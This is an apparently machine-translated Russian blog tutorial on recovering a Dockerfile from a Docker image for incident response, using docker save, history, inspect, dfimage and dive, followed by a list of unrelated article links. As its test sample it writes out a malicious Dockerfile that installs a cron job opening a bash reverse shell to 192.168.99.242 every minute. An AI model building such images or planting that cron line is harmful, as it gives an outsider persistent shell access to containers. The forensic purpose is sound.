Анализ образа Docker для получения файла Dockerfile
Анализ образа Docker для получения файла Dockerfile

01. Обзор

Когда дело доходит до безопасности образов контейнеров, особенно когда происходят инциденты безопасности, вызванные заражением образа, отслеживание источника образа и анализ Dockerfile являются ключевыми шагами в экстренной обработке инцидентов. В этом блоге мы рассмотрим, как получить файлы Dockerfile в результате анализа изображений, что имеет решающее значение для безопасности контейнера.

02. Подготовка среды

Используйте Dockfile для создания вредоносного образа, который восстанавливает оболочку:

Язык кода:javascript
копировать
FROM ubuntu:20.04
RUN  apt-get update &&\
     apt-get install -y cron &&\
     (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]

03. Анализ изображения Dockerfile

3.1 Анализ файла изображения

В метаданных образа перейдите к файлу Dockerfile, используемому для создания образа. Вы можете успешно проанализировать образ Docker и получить его содержимое Dockerfile, чтобы понять процесс создания образа, а также представленные пакеты программного обеспечения и конфигурации.

Язык кода:javascript
копировать
docker save -o test.tar test:v1.0
 tar -xvf test.tar 

3.2 параметры команды докера

Используйте команду docker History, чтобы просмотреть историю создания указанного изображения. Вы можете добавить --no-trunc, чтобы просмотреть всю информацию.

Язык кода:javascript
копировать
docker history test:v1.0 
docker history test:v1.0  --no-trunc

Используйте команду Docker Inspect для просмотра подробной информации об образе Docker. Вы можете самостоятельно определить выходную информацию с помощью параметра --format, чтобы получить информацию о конфигурации образа.

Язык кода:javascript
копировать
#Просмотр информации о конфигурации зеркала
проверка докера --format='{{json .Config}}' test:v1.0

3.3 dfimage

dfimage — сторонний инструмент, который можно использовать для извлечения файлов Dockerfile из изображений.

(1) Создайте ярлыки и используйте dfimage для вывода очень подробного файла Dockerfile.

Язык кода:javascript
копировать
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36  test:v1.0

3.4 Инструмент анализа изображений Docker Dive

Dive — это инструмент анализа изображений Docker, который анализирует и просматривает внутреннюю часть образов контейнеров Docker, и вы можете увидеть изменения в каждом слое файлов в мельчайших подробностях.

Язык кода:javascript
копировать
alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose